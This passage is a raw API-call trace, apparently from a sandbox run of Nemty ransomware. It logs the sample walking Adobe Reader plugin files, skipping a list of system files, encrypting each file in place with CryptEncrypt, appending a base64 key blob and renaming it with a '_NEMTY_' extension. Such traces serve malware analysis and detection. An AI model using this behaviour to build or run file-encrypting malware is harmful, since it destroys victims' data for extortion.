| out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.726] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.SUO", cAlternateFileName="WINDOW~1.SUO")) returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2=".") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="..") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="...") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="windows") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="$RECYCLE.BIN") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="rsa") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="NTDETECT.COM") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="ntldr") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="MSDOS.SYS") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="IO.SYS") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="boot.ini") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="boot.ini") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="ntuser.dat") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="desktop.ini") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="CONFIG.SYS") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="RECYCLER") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="BOOTSECT.BAK") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="bootmgr") returned 1 [0191.726] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="programdata") returned 1 [0191.727] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2="appdata") returned 1 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SUO", lpUsedDefaultChar=0x0) returned 16 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SUO", lpUsedDefaultChar=0x0) returned 16 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SUO", lpUsedDefaultChar=0x0) returned 16 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SUO", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SUO", lpUsedDefaultChar=0x0) returned 16 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.727] Sleep (dwMilliseconds=0x5) [0191.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ee68d0, dwHighDateTime=0x1d561e8)) [0191.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ee68d0, dwHighDateTime=0x1d561e8)) [0191.737] GetLastError () returned 0x0 [0191.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.737] GetLastError () returned 0x0 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.738] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.738] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.738] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.738] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="26emIWxbIsk6VxkpL0bUqVwjbiVGZteMhDZuWOcDArp2HAZF47PJVNPkW4SQV4oy\r\n+s7AuTepj2VSxfbzdIfDN9DkxofRK0qYEiYYvtmn6gFb+JTIPzrRajU+EVIisznP\r\nnTGRFaqA0jlntBFWOiktSAkaNWNUepGmlm6lJVaBDvzZYqbJ2XQYdDgyRNxqjpmq\r\naeIJbqbelhh6G/1A/qsxTZbZo6nt6ToWs7W+QoRYxSSM+XaxLAKQxmqnIsAt2hpV\r\nGBSPG9XFNydF3NPY0EUtyTfAlWS+nufYLrlBtQbIPFLAHB7CiWlG0in68c3+dhA0\r\nNmaYhrDH0JNydZ6xyCnEqw==\r\n", pcchString=0x653e29c) returned 1 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.738] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.739] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.739] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.740] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.740] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.741] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.741] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.741] CloseHandle (hObject=0x2f0) returned 1 [0191.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.741] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.suo._nemty_kgobjgd_")) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.742] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.SVE", cAlternateFileName="WINDOW~1.SVE")) returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2=".") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="..") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="...") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="windows") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="$RECYCLE.BIN") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="rsa") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="NTDETECT.COM") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="ntldr") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="MSDOS.SYS") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="IO.SYS") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="boot.ini") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="boot.ini") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="ntuser.dat") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="desktop.ini") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="CONFIG.SYS") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="RECYCLER") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="BOOTSECT.BAK") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="bootmgr") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="programdata") returned 1 [0191.742] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2="appdata") returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SVE", lpUsedDefaultChar=0x0) returned 16 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SVE", lpUsedDefaultChar=0x0) returned 16 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SVE", lpUsedDefaultChar=0x0) returned 16 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SVE", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SVE", lpUsedDefaultChar=0x0) returned 16 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.743] Sleep (dwMilliseconds=0x5) [0191.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25f0ca30, dwHighDateTime=0x1d561e8)) [0191.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25f0ca30, dwHighDateTime=0x1d561e8)) [0191.753] GetLastError () returned 0x0 [0191.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.753] GetLastError () returned 0x0 [0191.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.753] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.753] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.753] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.753] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="DAWjsxNUPL5h5T3qbXPWsniyIje1lugvK3vlLfc7lsZ1BqQ88JsZgwTlyEuCI8gb\r\n02+Qgm9mAce96zfNQrygRON1++U+GFYiIaHq9QxC/R81wnb5OAqh2AjhfjCVQRqC\r\nI0XIbEVDetEQBJKLJYbjslVTywZkuMVLv4r3KXax1WpsrbQz4gVOpwzmvs0YEUN+\r\nLo1bwS1y48DYF71yM8na7NsSFhuHtrlLEieQbzTYCsrpLHr8MUNLuQn51Kv4OuZ7\r\nOCXGNBNc8dbR/TlC2hmzaLPuODCoNOUG6htvWKa/a2JqDbdWpiQ4/VQ8t8sXOcw8\r\nD0yadrYZ6ZxoqPoMY7fHdw==\r\n", pcchString=0x653e29c) returned 1 [0191.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.754] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.754] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.754] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.756] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.756] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: 